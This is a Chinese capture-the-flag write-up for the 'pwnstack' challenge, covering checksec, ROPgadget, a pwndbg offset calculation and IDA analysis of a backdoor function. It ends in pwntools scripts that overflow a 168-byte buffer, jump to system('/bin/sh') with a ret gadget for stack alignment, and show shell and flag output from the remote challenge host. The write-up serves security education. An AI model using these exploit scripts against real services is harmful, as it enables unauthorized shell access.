当前位置: 首页 > news >正文

【CTF-PWN】【攻防世界题目pwnstack】python攻击脚本ret(checksec、pwngdb、IDA)(含“/bin/sh“)

题目

练习网址:
https://adworld.xctf.org.cn/challenges/list

在这里插入图片描述

题目场景:
nc 223.112.5.141 57335
在这里插入图片描述

checksec

┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=pwn2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   76 Symbols     No    0               1               pwn2

在这里插入图片描述

ROPgadget

在这里插入图片描述

┌──(kali㉿kali)-[~/Desktop]
└─$ ROPgadget --binary pwn2 --only "pop|ret"
Gadgets information
============================================================
0x000000000040080c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040080e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400810 : pop r14 ; pop r15 ; ret
0x0000000000400812 : pop r15 ; ret
0x000000000040080b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040080f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400620 : pop rbp ; ret
0x0000000000400813 : pop rdi ; ret
0x0000000000400811 : pop rsi ; pop r15 ; ret
0x000000000040080d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400549 : retUnique gadgets found: 11

使用了ROPgadget工具来查找可用的gadget,但最终的漏洞利用并没有使用ROP(Return-Oriented Programming)技术,而是直接跳转到了后门函数backdoor的地址(0x400762)。这是因为题目中已经存在一个直接调用system("/bin/sh")的函数,因此不需要构造ROP链。

pwngdb计算偏差


┌──(kali㉿kali)-[~/Desktop]
└─$ chmod +x pwn2  

在这里插入图片描述

使用 cyclic(300) 创建300字节的测试字符串:

python3 -c "from pwn import *; print(cyclic(300))" > pattern.txt

在这里插入图片描述

运行程序并传入测试模式:

┌──(kali㉿kali)-[~/Desktop]
└─$ pwndbg pwn2     
Reading symbols from pwn2...
(No debugging symbols found in pwn2)
pwndbg: loaded 190 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
------- tip of the day (disable with set show-tips off) -------
If you have debugging symbols the info args command shows current frame's function arguments (use up and down to switch between frames)
pwndbg> run < pattern.txt
Starting program: /home/kali/Desktop/pwn2 < pattern.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
this is pwn1,can you do that??Program received signal SIGSEGV, Segmentation fault.
0x0000000000400761 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────RAX  0RBX  0x7fffffffdd98 —▸ 0x7fffffffe122 ◂— '/home/kali/Desktop/pwn2'RCX  0x7ffff7e3c5f5 (_IO_file_write+37) ◂— test rax, raxRDX  0xb1RDI  0RSI  0x7fffffffdbd0 ◂— "b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaa"R8   0R9   0R10  0R11  0x202R12  0R13  0x7fffffffdda8 —▸ 0x7fffffffe13a ◂— 0x5245545f5353454c ('LESS_TER')R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 ◂— 0R15  0RBP  0x6171626161706261 ('abpaabqa')RSP  0x7fffffffdc78 ◂— 'abraabsaa'RIP  0x400761 (vuln+70) ◂— ret 
────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────► 0x400761 <vuln+70>    ret                                <0x6173626161726261>↓──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ rsp 0x7fffffffdc78 ◂— 'abraabsaa'
01:0008│     0x7fffffffdc80 ◂— 0x61 /* 'a' */
02:0010│     0x7fffffffdc88 —▸ 0x7ffff7ddaca8 (__libc_start_call_main+120) ◂— mov edi, eax
03:0018│     0x7fffffffdc90 ◂— 0
04:0020│     0x7fffffffdc98 —▸ 0x400778 (main) ◂— push rbp
05:0028│     0x7fffffffdca0 ◂— 0x100000000
06:0030│     0x7fffffffdca8 —▸ 0x7fffffffdd98 —▸ 0x7fffffffe122 ◂— '/home/kali/Desktop/pwn2'
07:0038│     0x7fffffffdcb0 —▸ 0x7fffffffdd98 —▸ 0x7fffffffe122 ◂— '/home/kali/Desktop/pwn2'
────────────────────────────────[ BACKTRACE ]────────────────────────────────► 0         0x400761 vuln+701 0x6173626161726261 None2             0x61 None3   0x7ffff7ddaca8 __libc_start_call_main+1204   0x7ffff7ddad65 __libc_start_main+1335         0x4005e9 _start+41
─────────────────────────────────────────────────────────────────────────────
pwndbg> 

在这里插入图片描述
在这里插入图片描述

  • 程序运行后触发了SIGSEGV(段错误),这是因为返回地址被我们的循环模式字符串覆盖,导致程序尝试执行非法地址。查看调试信息,可以看到RIP(指令指针寄存器,存储下一条要执行的指令地址)的值为0x400761,RBP(基址指针寄存器,用于标识栈帧底部)的值为0x6171626161706261(对应循环模式字符串中的字符序列)。

计算偏移量

缓冲区起始地址RSI: 0x7fffffffdbd0
返回地址位置RSP: 0x7fffffffdc78
偏移量 = 0x7fffffffdc78 - 0x7fffffffdbd0 = 168

IDA分析


; Attributes: bp-based frame; int backdoor()
public backdoor
backdoor proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "/bin/sh"
mov     eax, 0
call    _system
nop
pop     rbp
retn
; } // starts at 400762
backdoor endp

在这里插入图片描述

.text:0000000000400762
.text:0000000000400762 ; =============== S U B R O U T I N E =======================================
.text:0000000000400762
.text:0000000000400762 ; Attributes: bp-based frame
.text:0000000000400762
.text:0000000000400762 ; int backdoor()
.text:0000000000400762                 public backdoor
.text:0000000000400762 backdoor        proc near
.text:0000000000400762 ; __unwind {
.text:0000000000400762                 push    rbp
.text:0000000000400763                 mov     rbp, rsp
.text:0000000000400766                 mov     edi, offset command ; "/bin/sh"
.text:000000000040076B                 mov     eax, 0
.text:0000000000400770                 call    _system
.text:0000000000400775                 nop
.text:0000000000400776                 pop     rbp
.text:0000000000400777                 retn
.text:0000000000400777 ; } // starts at 400762
.text:0000000000400777 backdoor        endp
.text:0000000000400777

在这里插入图片描述

  • 0x400762 是 backdoor() 函数入口地址
  • 函数包含 system(“/bin/sh”) 系统调用
  • ret指令地址:0x0400777
  • 内存布局示意图:
+---------------------+
|    缓冲区(168字节)   |  # b'A'*168
+---------------------+
|   保存的RBP(8字节)   |  # 被覆盖
+---------------------+
|   返回地址(8字节)    |  # 0x400762
+---------------------+

编写python攻击脚本

方法一


from pwn import *# 设置日志级别为调试模式,便于追踪漏洞利用过程
context.log_level = 'debug'# 目标服务器配置
IP = "223.112.5.141"
PORT = 57335# 连接到远程服务器
io = remote(IP, PORT)# 计算缓冲区溢出所需的填充字节数
PAYLOAD_BUFFER = b'A' * 168  # 168字节填充,覆盖到返回地址# 获取程序中后门函数的地址(用于直接执行系统命令)
BACKDOOR_ADDR = p64(0x400762)  # 后门函数地址# 执行漏洞利用:发送填充数据+后门函数地址,覆盖返回地址
io.recv()  # 接收服务器的初始消息
io.sendline(PAYLOAD_BUFFER + BACKDOOR_ADDR)  # 发送构造的利用载荷# 切换到交互式模式,获取shell
io.interactive()

方法二

from pwn import *# 设置日志级别为调试模式
context.log_level = 'debug'
context(arch='amd64', os='linux')  # 显式设置架构和系统# 目标服务器配置
IP = "223.112.5.141"
PORT = 57335# 连接到远程服务器
io = remote(IP, PORT)# 计算填充长度(需根据实际偏移调整)
offset = 168  # 从168减少8字节(用于ret gadget)
ret_gadget = 0x400777  # 需替换为实际的ret指令地址(从程序获取)
backend_addr = 0x400762  # 后门函数地址# 构建payload(添加栈对齐ret指令)
payload = (b'A' * offset +      # 填充缓冲区(调整后的长度)p64(ret_gadget) +     # 栈对齐的ret指令p64(backend_addr)     # 跳转到后门函数
)# 执行漏洞利用
io.recv()  # 接收初始消息
io.sendline(payload)     # 发送构造的payload# 切换到交互式模式
io.interactive()

两个方法合并的写法

from pwn import *context(log_level='debug', arch='amd64', os='linux')
io = remote("223.112.5.141", 59107)# 根据目标函数决定是否对齐
if True:  # 根据0x400762的汇编确定payload = b'A'*168 + p64(0x400777) + p64(0x400762)  # 添加ret对齐
else:payload = b'A'*168 + p64(0x400762)  # 直接跳转io.recv()
io.sendline(payload)
io.interactive()

代码解析

解释 b'A'*168 + p64(0x400777) + p64(0x400762)

这个 payload 由三部分组成,作用是精确控制程序执行流并解决栈对齐问题:

payload = b'A'*168 + p64(0x400777) + p64(0x400762)
1. b'A'*168
  • 作用:填充缓冲区直至覆盖返回地址
  • 原理
    • 程序存在缓冲区溢出漏洞
    • 168 字节是精确计算的偏移量(从缓冲区起始到返回地址的距离)
    • A (0x41) 填充不会改变程序行为,仅用于占位
2. p64(0x400777)
  • 地址来源:后门函数末尾的 ret 指令地址
    .text:0000000000400776 pop    rbp
    .text:0000000000400777 retn   ; <- 这个指令地址
    
  • 作用:栈对齐的跳板(trampoline)
  • 关键原理
    • 在 x64 架构中,调用 system 等函数时要求栈指针 (RSP) 16 字节对齐
    • ret 指令等效于 pop RIP,会使栈指针增加 8 字节
    • 通过这个额外跳转,调整栈指针使其满足对齐要求
3. p64(0x400762)
  • 地址来源:后门函数起始地址
    .text:0000000000400762 backdoor proc near
    
  • 作用:跳转到后门函数执行 shell
  • 函数功能
    • 设置参数:mov edi, offset command (指向 “/bin/sh”)
    • 调用系统命令:call _system

执行流程详解

当 payload 触发漏洞后,程序执行流变化:

  1. 覆盖返回地址

    • 原函数返回时,从栈顶弹出 0x400777 到 RIP
    • 处理器跳转到 ret 指令处 (0x400777)
  2. 执行对齐跳板

    0x400777: ret  ; 从栈中弹出下个地址到RIP
    
    • 弹出 0x400762 到 RIP (RSP += 8)
    • 关键效果:RSP 增加 8 字节,为后续对齐做准备
  3. 进入后门函数

    0x400762: push rbp    ; RSP -= 8 (现在对齐16字节边界)
    0x400763: mov rbp, rsp
    0x400766: mov edi, offset command ; "/bin/sh"
    0x400770: call _system ; 此时RSP满足16字节对齐要求!
    

为什么需要栈对齐?

  • 当执行 call _system 时:
    • 如果 RSP 不是 16 字节对齐的(即 RSP % 16 ≠ 0)
    • system 内部使用的 SSE 指令会导致段错误 (Segmentation Fault)
  • 对齐过程数学证明:
    初始RSP状态:      RSP % 16 = 8  (常见情况)
    执行ret后:        RSP += 8  → RSP % 16 = 0
    执行push rbp后:   RSP -= 8  → RSP % 16 = 8 (但此时尚未调用system)
    调用system时:      call指令自动push返回地址 → RSP -= 8 → RSP % 16 = 0!
    

对比直接跳转

若直接跳转(无对齐跳板):

payload = b'A'*168 + p64(0x400762)  # 缺少对齐
  • 执行流程:
    0x400762: push rbp   ; RSP -= 8 → 可能使 RSP % 16 = 0
    0x400770: call system # 调用时 push 返回地址 → RSP -= 8 → RSP % 16 = 8 → 崩溃!
    
  • 50% 概率崩溃(取决于初始栈状态)

为什么"不对齐有时也能成功"?

原因在于函数入口点的指令差异,分两种情况:

情况1:标准函数序言(需要对齐)
; 标准函数开头(0x4006A8示例)
push rbp ; RSP -= 8
mov rbp, rsp ; 建立栈帧
  • 若直接跳转到此类函数:
  • 执行push rbp后 RSP 不再是16的倍数
  • 后续调用system()会因movaps指令崩溃(需16字节对齐)
情况2:优化过的入口(可能不需要对齐)
; 可能的0x400762结构(无栈帧建立)
lea rdi, [bin_sh] ; 直接准备参数
call system ; 直接调用
ret
  • 若函数:
  1. 没有push rbp等修改RSP的操作
  2. 没有使用SSE指令(如movaps)
  • 则即使栈未对齐也能正常工作

地址差异的影响

当添加ret指令时,payload结构变化:

原始方案:
[168个'A][0x400762] # RSP直接指向0x400762添加ret方案:
[168个'A][0x4006BA][0x400762]

执行流程差异:

原始方案:
1. 函数返回 → 跳转到0x400762
2. 执行0x400762处的代码添加ret方案:
1. 函数返回 → 跳转到0x4006BA (ret指令)
2. 执行ret → RSP += 8
3. 跳转到0x400762
4. 执行0x400762处的代码

关键区别:在进入0x400762前,RSP额外移动了8字节,确保后续push rbp等操作不会破坏对齐要求。

实践建议

  1. 检查目标函数开头
objdump -d ./binary | grep -A 5 '400762:'
  • 如果有push rbp → 必须加ret
  • 如果直接是lea/call → 可能不加
  1. 通用安全方案
# 总是添加ret确保对齐
payload = b'A'*168 + p64(ret_addr) + p64(target_addr)

即使目标函数不需要对齐,额外ret通常也不会破坏功能(只是多执行1条指令)

  1. 调试技巧
gdb.attach(p, 'break *0x400762\nc') # 在目标地址断点
p.sendline(payload)

检查崩溃时RSP值:RSP & 0xF == 0 表示对齐成功

总结

这个 payload 设计精妙地解决了栈对齐问题:

  1. 缓冲区填充(168 * ‘A’)→ 控制程序流
  2. ret 跳板(0x400777)→ 调整栈指针 +8
  3. 后门函数(0x400762)→ 执行 system("/bin/sh")

通过添加额外的 ret 指令,确保在调用 system 时满足 x64 架构的 16 字节栈对齐要求,显著提高漏洞利用的可靠性。

运行结果

方法一

在这里插入图片描述

┌──(kali㉿kali)-[~/Desktop]
└─$ python 1.py
[+] Opening connection to 223.112.5.141 on port 57335: Done
[DEBUG] Received 0x1e bytes:b'this is pwn1,can you do that??'
[DEBUG] Sent 0xb1 bytes:00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│*000000a0  41 41 41 41  41 41 41 41  62 07 40 00  00 00 00 00  │AAAA│AAAA│b·@·│····│000000b0  0a                                                  │·│000000b1
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:b'\n'$ ls
[DEBUG] Sent 0x3 bytes:b'ls\n'
[DEBUG] Received 0x22 bytes:b'bin\n'b'dev\n'b'flag\n'b'lib\n'b'lib32\n'b'lib64\n'b'pwn2\n'
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
[DEBUG] Sent 0x9 bytes:b'cat flag\n'
[DEBUG] Received 0x2d bytes:b'cyberpeace{f854d5e9a9387fd57f50529046ce6988}\n'
cyberpeace{f854d5e9a9387fd57f50529046ce6988}
$  

方法二

在这里插入图片描述


┌──(kali㉿kali)-[~/Desktop]
└─$ python 1.py
[+] Opening connection to 223.112.5.141 on port 59107: Done
[DEBUG] Received 0x1e bytes:b'this is pwn1,can you do that??'
[DEBUG] Sent 0xb9 bytes:00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│*000000a0  41 41 41 41  41 41 41 41  77 07 40 00  00 00 00 00  │AAAA│AAAA│w·@·│····│000000b0  62 07 40 00  00 00 00 00  0a                        │b·@·│····│·│000000b9
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:b'\n'[DEBUG] Received 0x1a bytes:00000000  2f 62 69 6e  2f 73 68 3a  20 31 3a 20  07 40 3a 20/bin/sh:1: │·@:00000010  6e 6f 74 20  66 6f 75 6e  64 0anot │foun│d·│0000001a
/bin/sh: 1: \x07@: not found
$ ls
[DEBUG] Sent 0x3 bytes:b'ls\n'
[DEBUG] Received 0x22 bytes:b'bin\n'b'dev\n'b'flag\n'b'lib\n'b'lib32\n'b'lib64\n'b'pwn2\n'
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
[DEBUG] Sent 0x9 bytes:b'cat flag\n'
[DEBUG] Received 0x2d bytes:b'cyberpeace{5fb7f07a8ebb8e6de6bdd550477c6765}\n'
cyberpeace{5fb7f07a8ebb8e6de6bdd550477c6765}
$  

因实验环境刚好到期,端口改了一下,不影响。

http://www.lryc.cn/news/600705.html

相关文章:

  • Traffic Lights set的使用
  • AI Agent开发学习系列 - langchain之LCEL(5):如何创建一个Agent?
  • Ansible列出常见操作系统的发行版,Ansible中使用facts变量的两种方式
  • 定义域第一题
  • InfluxDB Flux 查询协议实战应用(二)
  • 修改site-packages位置与pip配置
  • 网络:应用层
  • docker安装问题汇总
  • 一文速通《多元函数微分学》
  • AI Agent开发学习系列 - langchain之LCEL(4):Memory
  • x86汇编语言入门基础(三)汇编指令篇5 串操作
  • 【架构】Docker简单认知构建
  • JAVA学习-练习试用Java实现“深度优先搜索(DFS):实现八数码问题的解法(最短路径搜索)”
  • LangChain4j低阶+高阶Api+日志配置+监听器+重试机制+超时机制
  • 【LeetCode 热题 100】131. 分割回文串——回溯
  • 算法竞赛阶段二-数据结构(35)数据结构单链表模拟实现
  • Android-广播详解
  • golang实现一个定时引擎,功能包括按照corntab的时间任务实时增加、修改、删除定时任务
  • 常见sql深入优化( 二)
  • 一文学会c++list
  • 激光雷达-相机标定工具:支持普通相机和鱼眼相机的交互式标定
  • 二叉搜索树(Binary Search Tree)详解与java实现
  • Linux 如何统计系统上各个用户登录(或者登出)记录出现的次数?
  • Android-三种持久化方式详解
  • 摘录-打造第二大脑
  • J2EE模式---表现层集成模式
  • C++ TAP(基于任务的异步编程模式)
  • Web后端进阶:springboot原理(面试多问)
  • React入门学习——指北指南(第五节)
  • JavaScript手录06-函数